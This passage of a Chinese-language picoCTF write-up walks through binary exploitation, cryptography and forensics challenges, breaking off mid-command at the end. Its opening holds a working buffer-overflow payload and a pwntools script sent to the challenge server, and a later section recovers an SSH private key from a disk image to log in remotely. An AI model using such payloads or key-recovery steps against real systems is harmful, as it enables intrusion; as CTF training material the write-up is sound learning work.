gef➤ pattern search 0x61616162
[+] Searching for '62616161'/'61616162' with period=4
[+] Found at offset 4 (little-endian search) likely
```
```C++
gef➤ x $ebp+0xc
0xffffce28: 0x61616163
gef➤ pattern search 0x61616163
[+] Searching for '63616161'/'61616163' with period=4
[+] Found at offset 8 (little-endian search) likely
```
可以看到分別是 offset 4 跟 8,所以第一個參數與原本的 payload 中間要填充長度為 4 的 padding,而第二個參數 offset 為 8,因此第一個參數與第二個參數中間不需要額外填充 (padding + `0xcafef00d` -> length 8) 。
接著嘗試在本地測試確定一切正常運作,首先建立 `flag.txt` 讓 program 能夠讀到 flag:
```bash
$ echo "FLAG{test flag}" > flag.txt
```
接著執行 program 並把 payload 送入:
```bash
$ echo -ne "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\r\xf0\xfe\xca\r\xf0\r\xf0" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FLAG{test flag}
Segmentation fault (core dumped)
```
可以看到測試的 flag 成功的被列印出來,所以只要連上 server 將一樣的 payload 送入就能拿到 flag。
最終的 script:
```python
import sys
from pwn import *
host = "saturn.picoctf.net"
port = sys.argv[1]
r = remote(host, port)
p = b"a" * 112
p += p32(0x8049296)
p += b"a" * 4
p += p32(0xCAFEF00D)
p += p32(0xF00DF00D)
r.sendlineafter("string: \n", p)
r.interactive()
```
### Summary
Flag: `picoCTF{argum3nt5_4_d4yZ_xxxxxxxx}`
## basic-file-exploit <span style="color: orange;"> [Medium] </span>
### Challenge description
The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
The program's source code with the flag redacted can be downloaded [here](https://artifacts.picoctf.net/c/141/program-redacted.c).
### Solution
根據題目描述,這個程式允許我們寫入資料後再將其讀取出來,下載程式並打開後可以看到在讀取資料的 `data_read()` 中有列印 flag 的條件:
```C
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
```
`strtol()` 會嘗試將我們的輸入 `entry` 轉換成 long type,並將轉換後的結果儲存到 `entry_number` 中,而如果轉換失敗的話,`entry_number` 就會被賦值為 0,此時條件語句就會成立,並且印出 flag。
另外,可以看到在接收我們輸入的部分並沒有進行驗證,因此我們可以嘗試輸入一個字串,讓 `strtol()` 轉換失敗。
連上 server 後,直接執行讀取資料部分的程式會發現因為 database 裡面沒有資料被擋下來了:
```
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
2
2
No data yet
```
所以改成先去把資料寫入再去執行讀取資料的部分,然後就能夠拿到 flag 了:
```
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
123
123
Please enter the length of your data:
3
3
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
a
a
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_xxxxxxxx}
```
### Summary
Flag: `picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_xxxxxxxx}`
# Cryptography
## Vigenere <span style="color: orange;"> [Medium] </span>
### Challenge description
Can you decrypt this message?
Decrypt this [message](https://artifacts.picoctf.net/c/158/cipher.txt) using this key "CYLAB".
### Solution
題目提示了這題是 Vigenère cipher,上網搜尋相關工具就能用密文跟題目給的 key 得到明文 flag 了。
### Resource
[Cryptii - Vigenère cipher](https://cryptii.com/pipes/vigenere-cipher)
### Summary
Flag: `picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_xxxxxxxx}`
## transposition-trial <span style="color: orange;"> [Medium] </span>
### Challenge description
Our data got corrupted on the way here. Luckily, nothing got replaced, but every block of 3 got scrambled around! The first word seems to be three letters long, maybe you can use that to recover the rest of the message.
Download the corrupted message [here](https://artifacts.picoctf.net/c/193/message.txt).
### Solution
題目告訴我們提供的 `message.txt` 裡面的訊息,以 3 個字元為一組被打亂了,而我們可以透過觀察第一個單字來判斷打亂的方式:
```
heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V9AAB1F8}7
```
整段訊息看起來像是 `The flag is picoCTF...`,而第一個單字為 The,因此我們透過這個順序 (heT -> The) 將其他的文字解密出來,就可以拿到 flag 了:
```python
scrambled = open('./message.txt', 'r').read()
flag = "".join([scrambled[i+2] + scrambled[i] + scrambled[i+1] for i in range(0, len(scrambled), 3)])
print(flag)
```
```
The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_xxxxxxxx}
```
### Summary
Flag: `picoCTF{7R4N5P051N6_15_3XP3N51V3_xxxxxxxx}`
## substitution0 <span style="color: orange;"> [Medium] </span>
### Challenge description
A message has come in but it seems to be all scrambled. Luckily it seems to have the key at the beginning. Can you crack this substitution cipher?
Download the message [here](https://artifacts.picoctf.net/c/153/message.txt).
### Solution
題目的 Hint 提示了可以透過 frequency attack 的工具來解開這題,我們可以使用 quipqiup 來幫我們分析:

分析完可以看到網站回傳可能的結果,其中第一個結果就能拿到 flag 了。
```
ABCDEFGHIJKLMNOPQRSTUVWXYZ Hereupon Legrand arose, with a grave and stately air, and brought me the beetle from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at that time, unknown to naturalists—of course a great prize in a scientific point of view. There were two round black spots near one extremity of the back, and a long one near the other. The scales were exceedingly hard and glossy, with all the appearance of burnished gold. The weight of the insect was very remarkable, and, taking all things into consideration, I could hardly blame Jupiter for his opinion respecting it. The flag is: picoCTF{5UB5717U710N_3V0LU710N_xxxxxxxxx}
```
### Resource
[quipqiup](https://quipqiup.com/)
### Summary
Flag: `picoCTF{5UB5717U710N_3V0LU710N_xxxxxxxxx}`
## substitution1 <span style="color: orange;"> [Medium] </span>
### Challenge description
A second message has come in the mail, and it seems almost identical to the first one. Maybe the same thing will work again.
Download the message [here](https://artifacts.picoctf.net/c/181/message.txt).
### Solution
跟上題一樣,丟入 quipqiup 就能拿到 flag 了。
```
CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: picoCTF{FR3QU3NCY_4774CK5_4R3_C001_xxxxxxxx}
```
### Resource
[quipqiup](https://quipqiup.com/)
### Summary
Flag: `picoCTF{FR3QU3NCY_4774CK5_4R3_C001_xxxxxxxx}`
## substitution2 <span style="color: orange;"> [Medium] </span>
### Challenge description
It seems that another encrypted message has been intercepted. The encryptor seems to have learned their lesson though and now there isn't any punctuation! Can you still crack the cipher?
Download the message [here](https://artifacts.picoctf.net/c/112/message.txt).
### Solution
這題嘗試丟入 quipqiup 後會發現,在最後面 flag 的位置會無法正常處理完成:

嘗試另一個工具看看:

可以看到,flag 成功的被解密出來了。
### Resource
[Substitution cipher decoder](https://planetcalc.com/8047/)
### Summary
Flag: `picoCTF{N6R4M_4N41Y515_15_73D10U5_xxxxxxxx}`
## rail-fence <span style="color: orange;"> [Medium] </span>
### Challenge description
A type of transposition cipher is the rail fence cipher, which is described [here](https://en.wikipedia.org/wiki/Rail_fence_cipher). Here is one such cipher encrypted using the rail fence with 4 rails. Can you decrypt it?
Download the message [here](https://artifacts.picoctf.net/c/190/message.txt).
Put the decoded message in the picoCTF flag format, `picoCTF{decoded_message}`.
### Solution
題目提示了這題是 Rail Fence,並且告訴了我們是用 4 個柵欄,有了這些資訊後上網搜尋相關工具就能將密文解開得到明文 flag 了。
解開後能得到以下訊息:
```
The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_xxxxxxxx
```
### Resource
[Cryptii - Rail fence cipher](https://cryptii.com/pipes/rail-fence-cipher)
### Summary
Flag: `picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_xxxxxxxx}`
## morse-code <span style="color: orange;"> [Medium] </span>
### Challenge description
Morse code is well known. Can you decrypt this?
Download the file [here](https://artifacts.picoctf.net/c/79/morse_chal.wav).
Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.
### Solution
題目提供了一個 `.wav` 檔,並告訴我們檔案與 morse code 有關,因此我們可以上網找 morse code audio decoder 來幫我們解決:

將檔案上傳並點擊播放後,可以看到網站自動的幫我們將訊息解密出來,而這段訊息包含在 picoCTF{} 中就是 flag 了。
### Resource
[Morse Code Adaptive Audio Decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html)
### Summary
Flag: `picoCTF{WH47_H47H_90D_xxxxxxx}`
## credstuff <span style="color: orange;"> [Medium] </span>
### Challenge description
We found a leak of a blackmarket website's login credentials. Can you find the password of the user `cultiris` and successfully decrypt it?
Download the leak [here](https://artifacts.picoctf.net/c/151/leak.tar).
The first user in `usernames.txt` corresponds to the first password in `passwords.txt`. The second user corresponds to the second password, and so on.
### Solution
首先將檔案下載下來並解壓縮:
```bash
$ tar -xf leak.tar
```
題目告訴了我們 `username.txt` 與 `password.txt` 裡面的內容是對照的,所以接著找出 `cultiris` 在 `username.txt` 中的哪一行,並去 `password.txt` 中找到對應行號的文字:
```bash
$ grep -n "cultiris" usernames.txt| cut -d: -f1 | awk 'NR==FNR {lines[$1]; next} FNR in lines' - passwords.txt
```
```
cvpbPGS{P7e1S_54I35_71Z3}
```
可以看到找到的密碼像是被 rot13 加密過,把這串文字轉回去就能得到 flag 了:
```bash
$ echo "cvpbPGS{P7e1S_54I35_71Z3}" | tr "A-Za-z" "N-ZA-Mn-za-m"
```
### Summary
Flag: `picoCTF{C7r1F_54V35_xxxx}`
## basic-mod1 <span style="color: orange;"> [Medium] </span>
### Challenge description
We found this weird message being passed around on the servers, we think we have a working decryption scheme.
Download the message [here](https://artifacts.picoctf.net/c/127/message.txt).
Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.
Wrap your decrypted message in the picoCTF flag format (i.e. `picoCTF{decrypted_message}`)
### Solution
題目描述 charset 為 Uppercase alphabet + digits + underscore,所以可以先用 string library 把對應的 charset 建立出來:
```python
import string
charset = string.ascii_uppercase + string.digits + '_'
```
接著將題目給的 `message.txt` 裡面的資料讀進來:
```python
message = open('message.txt', 'r').read()
# "128 322 353 235 336 73 198 332 202 285 57 87 262 221 218 405 335 101 256 227 112 140"
```
`message.txt` 裡面的資料是由空格分開好幾個數字組成的字串,可以透過 python 中字串的 method `.split()` 透過空格拆分字串將 `message` 變成一個 list,再將 list 中每個數字變成 int type,接著按照題目描述的將其與數字 37 進行 mod 運算並對應到 charset 中,最後將 list 中每一個元素組合起來就能得到 flag 了。
```python
flag = "".join([charset[int(x) % 37] for x in message.split()])
print("picoCTF{" + flag + "}")
```
解題用的 script:
```python
import string
charset = string.ascii_uppercase + string.digits + '_'
message = open('message.txt', 'r').read()
flag = "".join([charset[int(x) % 37] for x in message.split()])
print("picoCTF{" + flag + "}")
```
### Summary
Flag: `picoCTF{R0UND_N_R0UND_xxxxxxxx}`
## basic-mod2 <span style="color: orange;"> [Medium] </span>
### Challenge description
A new modular challenge!
Download the message [here](https://artifacts.picoctf.net/c/178/message.txt).
Take each number mod 41 and find the modular inverse for the result. Then map to the following character set: 1-26 are the alphabet, 27-36 are the decimal digits, and 37 is an underscore.
Wrap your decrypted message in the picoCTF flag format (i.e. `picoCTF{decrypted_message}`)
### Solution
跟上一題一樣,先將對應的 charset 建立出來,並將題目給的 `message.txt` 裡面的資料讀進來:
```python
import string
# use space as placeholder
charset = " " + string.ascii_uppercase + string.digits + '_'
message = open('message.txt', 'r').read()
# "432 331 192 108 180 50 231 188 105 51 364 168 344 195 297 342 292 198 448 62 236 342 63":
```
透過 `pow()` 找到裡面每個數字 mod 41 的模反元素,在對應回 charset 並將字串組合起來就能得到 flag 了:
```python
# pow(base, exp, mod)
inverse = pow(number, -1, modulo)
```
```python
flag = "".join([charset[pow(int(x), -1, 41)] for x in message.split()])
print(flag)
```
解題用的 script:
```python
import string
charset = " " + string.ascii_uppercase + string.digits + '_'
message = open('./message.txt', 'r').read()
flag = "".join([charset[pow(int(x), -1, 41)] for x in message.split()])
print(flag)
```
### Summary
Flag: `picoCTF{1NV3R53LY_H4RD_xxxxxxxx}`
# Forensics
## Torrent Analyze <span style="color: orange;"> [Medium] </span>
### Challenge description
SOS, someone is torrenting on our network.
One of your colleagues has been using torrent to download some files on the company’s network. Can you identify the file(s) that were downloaded? The file name will be the flag, like `picoCTF{filename}`. [Captured traffic](https://artifacts.picoctf.net/c/165/torrent.pcap).
### Solution
題目描述有人使用 torrent 下載檔案,並且給了一個 `.pcap` 檔案,我們可以透過 wireshark 分析檔案,並且在 wireshark 的 `Analyze -> Enabled Protocols` 中把 `BT-DHT` 等相關的 protocol 打開來尋找與 torrent 有關的相關資料:

可以看到封包中有許多 `BT-DHT` protocol 的封包:

而使用 bittorrent 下載的過程中會附帶一個可以用來辨別檔案的 info hash 值,因此我們可以透過把 info hash 全部從封包中取出來,接著再去找到我們要的檔案:
```python
import pyshark
capture = pyshark.FileCapture('./torrent.pcap', display_filter='bt-dht contains "info_hash"')
info_hashes = set()
for pkt in capture:
info_hash = pkt.layers[3].get_field_by_showname('info_hash').showname_value
info_hashes.add(info_hash)
print("\n".join(info_hashes))
```
```bash
$ python3 solve.py
078e18df4efe53eb39d3425e91d1e9f4777d85ac
7af6be54c2ed4dcb8d17bf599516b97bb66c0bfd
e2467cbf021192c241367b892230dc1e05c0580e
17c1e42e811a83f12c697c21bed9c72b5cb3000d
d59b1ce3bf41f1d282c1923544629062948afadd
17c02f9957ea8604bc5a04ad3b56766a092b5556
17c0c2c3b7825ba4fbe2f8c8055e000421def12c
17d62de1495d4404f6fb385bdfd7ead5c897ea22
```
而題目的 hint 告訴了我們檔案副檔名是 `.iso`,將上面蒐集到的 info hash 一一搜尋之後可以發現 `e2467cbf021192c241367b892230dc1e05c0580e` 正好是 `ubuntu-19.10-desktop-amd64.iso` 的 info hash 值,因此就可以得到 flag 了。
### Resource
[What are seeds, peers and leechers in Torrents’ language?](https://www.techworm.net/2017/03/seeds-peers-leechers-torrents-language.html)
### Summary
Flag: `picoCTF{ubuntu-19.10-desktop-amd64.iso}`
## St3g0 <span style="color: orange;"> [Medium] </span>
### Challenge description
Download this image and find the flag.
* [Download image](https://artifacts.picoctf.net/c/215/pico.flag.png)
### Solution
題目在 tag 的部分提示了這題與 steganography 有關,而提供的檔案則是 PNG 檔,因此我們可以使用 `zsteg` 這個針對 PNG 檔的隱寫術相關工具:
```bash
$ zsteg -a pico.flag.png | grep "picoCTF"
b1,rgb,lsb,xy .. text: "picoCTF{7h3r3_15_n0_5p00n_xxxxxxxx}$t3g0"
```
使用 `zsteg` 並搭配 `-a` 參數讓工具嘗試所有已知的方法去嘗試解出訊息,並使用 `grep` 就能 filter 掉其他訊息找到 flag。
### Summary
Flag: `picoCTF{7h3r3_15_n0_5p00n_xxxxxxxx}`
## Sleuthkit Intro <span style="color: orange;"> [Medium] </span>
### Challenge description
Download the disk image and use `mmls` on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.
Note: if you are using the webshell, download and extract the disk image into `/tmp` not your home directory.
[Download disk image](https://artifacts.picoctf.net/c/164/disk.img.gz)
Additional details will be available after launching your challenge instance.
### Solution
將檔案下載下來之後,可以看到是一個由 `gzip` 壓縮過後的 image 檔,因此先透過 `gzip` 將其解壓縮:
```bash
$ gzip -d disk.img.gz
```
題目提到我們需要找到 disk image 中 Linux 分區的大小,因此我們可以使用 The Sleuth Kit 這個工具來做到這件事。The Sleuth Kit 是一個可以從硬碟或其他儲存設備中提取資料的數位鑑識工具,而其中的 `mmls` command 可以用來查看磁盤分割表的相關訊息:
```bash
$ mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000204799 0000202752 Linux (0x83)
```
從輸出結果中可以看到,Linux partition 的大小為 202752,因此接著只要連上題目提供的 server 傳送答案就能拿到 flag 了。
### Summary
Flag: `picoCTF{xxxxxxxx!}`
## Sleuthkit Apprentice <span style="color: orange;"> [Medium] </span>
### Challenge description
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
* [Download compressed disk image](https://artifacts.picoctf.net/c/137/disk.flag.img.gz)
### Solution
一樣將檔案下載並解壓縮後,使用 `mmls` 查看分區情況:
```bash
$ mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000360447 0000153600 Linux Swap / Solaris x86 (0x82)
004: 000:002 0000360448 0000614399 0000253952 Linux (0x83)
```
可以看到兩個 Linux 的分區,使用 `fls` 查看底下的資料夾結構:
```bash
$ fls -o <offset> image
```
```bash
$ fls -o 2048 disk.flag.img
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585: $OrphanFiles
```
這裡的 `d/d` 代表資料夾,`r/r` 則是檔案,後面接的數字是該資料夾或檔案的 inode,也可以想成代表該文件的 id。
第一個分區看起來像是開機資料相關的磁區,接著檢查第二個:
```bash
$ fls -o 360448 disk.flag.img
d/d 451: home
d/d 11: lost+found
d/d 12: boot
d/d 1985: etc
d/d 1986: proc
d/d 1987: dev
d/d 1988: tmp
d/d 1989: lib
d/d 1990: var
d/d 3969: usr
d/d 3970: bin
d/d 1991: sbin
d/d 1992: media
d/d 1993: mnt
d/d 1994: opt
d/d 1995: root
d/d 1996: run
d/d 1997: srv
d/d 1998: sys
d/d 2358: swap
V/V 31745: $OrphanFiles
```
第二個分區則是根目錄的分區,比起上一個分區,flag 可能更有機會藏在這裡,因此開始搜尋這個分區裡面的資料:
```bash
$ fls -o <offset> image <inode>
```
```bash
# searching in /root
$ fls -o 360448 disk.flag.img 1995
r/r 2363: .ash_history
d/d 3981: my_folder
```
```bash
# searching in /root/my_folder
$ fls -o 360448 disk.flag.img 3981
r/r * 2082(realloc): flag.txt
r/r 2371: flag.uni.txt
```
在 `/root/my_folder` 底下可以看到兩個與 flag 相關的文件,接著可以使用 `icat` 去讀出裡面的資料:
```bash
$ icat -o <offset> image <inode>
```
```bash
# reading the content of flag.txt
$ icat -o 360448 disk.flag.img 2082
3.449677 13.056403
```
```bash
# reading the content of flag.uni.txt
$ icat -o 360448 disk.flag.img 2371
picoCTF{by73_5urf3r_xxxxxxxx}
```
將兩個文件的內容讀出來後,可以發現 flag 就藏在 `/root/my_folder/flag.uni.txt` 中。
### Summary
Flag: `picoCTF{by73_5urf3r_xxxxxxxx}`
## Redaction gone wrong <span style="color: orange;"> [Medium] </span>
### Challenge description
Now you DON’T see me.
This [report](https://artifacts.picoctf.net/c/84/Financial_Report_for_ABC_Labs.pdf) has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?
### Solution
這題提供的檔案是一個部分內容被塗黑的 pdf,雖然內容沒辦法直接看到,但我們可以將被塗黑的內容複製起來到其他地方查看(在部分的 pdf viewer 中可以直接反白查看)。
將所有的內容都檢查過後,可以發現最後一個黑色的區域裡面的文字就是我們的 flag。
### Summary
Flag: `picoCTF{C4n_Y0u_S33_xxxxxxxx}`
## Packets Primer <span style="color: orange;"> [Medium] </span>
### Challenge description
Download the packet capture file and use packet analysis software to find the flag.
* [Download packet capture](https://artifacts.picoctf.net/c/194/network-dump.flag.pcap)
### Solution
將檔案下載後用 wireshark 打開:

首先檢查 TCP protocol 的部分,對封包點擊右鍵後點選 `Follow -> TCP Stream`,來查看封包內傳遞的資料:
```
p i c o C T F { p 4 c k 3 7 _ 5 h 4 r k _ x x x x x x x x }
```
可以發現,flag 就藏在這裡。
### Summary
Flag: `picoCTF{C4n_Y0u_S33_xxxxxxxx}`
## Operation Orchid <span style="color: orange;"> [Medium] </span>
### Challenge description
Download this disk image and find the flag.
Note: if you are using the webshell, download and extract the disk image into `/tmp` not your home directory.
* [Download compressed disk image](https://artifacts.picoctf.net/c/212/disk.flag.img.gz)
### Solution
與前面的題目一樣,將檔案下載並解壓縮後,用 `mmls` 檢查分區資訊:
```bash
$ mmls disk.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)
004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)
```
嘗試找到根目錄的分區:
```bash
$ fls -o 411648 disk.flag.img
d/d 460: home
d/d 11: lost+found
d/d 12: boot
d/d 13: etc
d/d 81: proc
d/d 82: dev
d/d 83: tmp
d/d 84: lib
d/d 87: var
d/d 96: usr
d/d 106: bin
d/d 120: sbin
d/d 466: media
d/d 470: mnt
d/d 471: opt
d/d 472: root
d/d 473: run
d/d 475: srv
d/d 476: sys
d/d 2041: swap
V/V 51001: $OrphanFiles
```
查看 `/root` 裡面的資料:
```bash
$ fls -o 411648 disk.flag.img 472
r/r 1875: .ash_history
r/r * 1876(realloc): flag.txt
r/r 1782: flag.txt.enc
```
`/root` 底下有兩個與 flag 相關的檔案,一一查看:
```bash
# /root/flag.txt
$ icat -o 411648 disk.flag.img 1876
-0.881573 34.311733
```
```bash
# /root/flag.txt.enc
$ icat -o 411648 disk.flag.img 1782
Salted__0!-6V0Ul&:pj_10|h
Ȥ7 ؎$'%
```
可以看到 `flag.txt.enc` 裡面的資料像是被加密過,檢查 `/root` 資料夾下的另一個檔案找尋線索:
```bash
# /root/.ash_history
$ icat -o 411648 disk.flag.img 1875
touch flag.txt
nano flag.txt
apk get nano
apk --help
apk add nano
nano flag.txt
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
halt
```
得知 `flag.txt.enc` 是透過 aes256 加密過後的資料,而指令中提供了 key,我們可以用 `openssl` 解密回去。首先使用 `tsk_recover` 將 `flag.txt.enc` 拿出來:
```bash
# -e: Recover all files. Without this option, only deleted files will be extracted.
# -d: Specify a specific inode directory. Without this option, all files in the partition will be extracted.
$ tsk_recover [-e] -o <offset> [-d <inode>] image <output_dir>
```
```bash
# extract the files under /root
$ tsk_recover -e -o 411648 -d 472 disk.flag.img .
Files Recovered: 3
```
接著進行解密:
```bash
$ openssl aes256 -d -in flag.txt.enc -out flag.txt.dec -k unbreakablepassword1234567
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
20D0A2BAFFFF0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:124:
```
```bash
$ cat flag.txt.dec
picoCTF{h4un71ng_p457_xxxxxxxx}
```
雖然有跳警告訊息,但最後 flag 還是成功的被解密出來了。
### Summary
Flag: `picoCTF{h4un71ng_p457_xxxxxxxx}`
## Operation Oni <span style="color: orange;"> [Medium] </span>
### Challenge description
Download this disk image, find the key and log into the remote machine.
Note: if you are using the webshell, download and extract the disk image into `/tmp` not your home directory.
* [Download disk image](https://artifacts.picoctf.net/c/70/disk.img.gz)
### Solution
題目描述我們需要找到 key 去登入 remote machine,並且 launch instance 之後可以知道我們要用 ssh 去連上 server,因此我們要找的就是 ssh 的 private key。這個檔案一般放在 user 各自 home 目錄底下的 `.ssh` 資料夾,所以先去 `/root` 跟 `/home` 底下看有沒有相關的東西:
```bash
$ mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)
```
```bash
$ fls -o 206848 disk.img
d/d 458: home
d/d 11: lost+found
d/d 12: boot
d/d 13: etc
d/d 79: proc
d/d 80: dev
d/d 81: tmp
d/d 82: lib
d/d 85: var
d/d 94: usr
d/d 104: bin
d/d 118: sbin
d/d 464: media
d/d 468: mnt
d/d 469: opt
d/d 470: root
d/d 471: run
d/d 473: srv
d/d 474: sys
V/V 33049: $OrphanFiles
```
可以看到,`/home` 底下沒有其他東西了,而 `/root` 下有一個 `.ssh` 資料夾:
```bash
# /home
$ fls -o 206848 disk.img 458
```
```bash
# /root
$ fls -o 206848 disk.img 470
r/r 2344: .ash_history
d/d 3916: .ssh
```
進到資料夾裡之後會看到 ssh 的 key,可以用 `tsk_recover` 將它們取出來,等等就能用 private key 去 ssh 連線上 server:
```bash
# /root/.ssh
$ fls -o 206848 disk.img 3916
r/r 2345: id_ed25519
r/r 2346: id_ed25519.pub
```
```bash
$ tsk_recover -e -o 206848 -d 3916 disk.img .
Files Recovered: 2
```
取出檔案後,還不能用 ssh 連線,因為 ssh 在用 private key 登入時,會檢查 private key 的權限,如果權限太高會拒絕用 key 登入,因此要先調整 private key 的權限:
```bash
$ chmod 400 id_ed25519
```
調整完後就能用 key 連接 server 並得到 flag 了:
```bash
$ ssh -i id_ed25519 -p 61935 ctf-player@saturn.picoctf.net
```
```bash
ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ cat flag.txt
picoCTF{k3y_5l3u7h_xxxxxxxx}
```
### Summary
Flag: `picoCTF{k3y_5l3u7h_xxxxxxxx}`
## Lookey here <span style="color: orange;"> [Medium] </span>
### Challenge description
Attackers have hidden information in a very large mass of data in the past, maybe they are still doing it.
Download the data [here](https://artifacts.picoctf.net/c/124/anthem.flag.txt).
### Solution
題目提示了資料就藏在 `anthem.flag.txt` 中,所以我們可以用 `grep` 去找出包含 flag prefix 的文字:
```bash
$ cat anthem.flag.txt | grep picoCTF
we think that the men of picoCTF{gr3p_15_@w3s0m3_xxxxxxxx}
```
### Summary
Flag: `picoCTF{gr3p_15_@w3s0m3_xxxxxxxx}`
## File types <span style="color: orange;"> [Medium] </span>
### Challenge description
This file was found among some files marked confidential but my pdf reader cannot read it, maybe yours can.
You can download the file from [here](https://artifacts.picoctf.net/c/82/Flag.pdf).
### Solution
題目叫做 file types,所以將檔案下載後先查看它是甚麼檔案:
```bash
$ file Flag.pdf
Flag.pdf: shell archive text
```
發現 `Flag.pdf` 是實際上是可以執行的 `.sh` file。設定可執行權限之後嘗試執行:
```bash
$ ./Flag.pdf
x - created lock directory _sh00046.
x - extracting flag (text)
./Flag.pdf: line 119: uudecode: command not found
restore of flag failed
flag: MD5 check failed
x - removed lock directory _sh00046.
```
程式報錯我的環境缺少了 `uudecode` 這個 command,所以將相關套件安裝後再重新嘗試執行:
```bash
$ sudo apt install sharutils
$ ./Flag.pdf
x - created lock directory _sh00046.
x - extracting flag (text)
x - removed lock directory _sh00046.
```
可以看到,成功提取出來了一個叫做 `flag` 的檔案,再次檢查它的檔案型別發現是 archive,將其解壓縮:
```bash
$ file flag
flag: current ar archive
$ ar -xf flag
```
發現解壓縮後又得到一個 `flag` 檔案,重複這樣的過程:
```bash
$ file flag
flag: cpio archive
$ cpio -i < flag
cpio: flag not created: newer or same age version exists
2 blocks
$ mv flag old_flag
$ cpio -i < old_flag
2 blocks
```
```bash
$ file flag
flag: bzip2 compressed data, block size = 900k
$ bzip2 -d flag
bzip2: Can't guess original name for flag -- using flag.out
```
```bash
$ file flag.out
flag.out: gzip compressed data, was "flag", last modified: Thu Mar 16 01:40:19 2023, from Unix, original size modulo 2^32 328
$ gzip -d flag.out
gzip: flag.out: unknown suffix -- ignored
$ mv flag.out flag.gz
$ gzip -d flag.gz
```
```bash
$ file flag
flag: lzip compressed data, version: 1
$ lzip -d flag
# the output is flag.out
```
```bash
$ file flag.out
flag.out: LZ4 compressed data (v1.4+)
$ mv flag.out flag.lz4
$ lz4 -d flag.lz4
Decoding file flag
flag.lz4 : decoded 264 bytes
```
```bash
$ file flag
flag: LZMA compressed data, non-streamed, size 253
$ mv flag flag.xz
$ lzma -d flag.xz
```
```bash
$ file flag
flag: lzop compressed data - version 1.040, LZO1X-1, os: Unix
$ mv flag flag.lzo
$ lzop -d flag.lzo
```
```bash
$ file flag
flag: lzip compressed data, version: 1
$ lzip -d flag
# the output is flag.out
```
```bash
$ file flag.out
flag.out: XZ compressed data, checksum CRC64
$ mv flag.out flag.xz
$ xz -d flag.xz
```
最後能發現 flag 變成了 ASCII text 文件,將裡面的內容讀取出來查看:
```bash
$ file flag
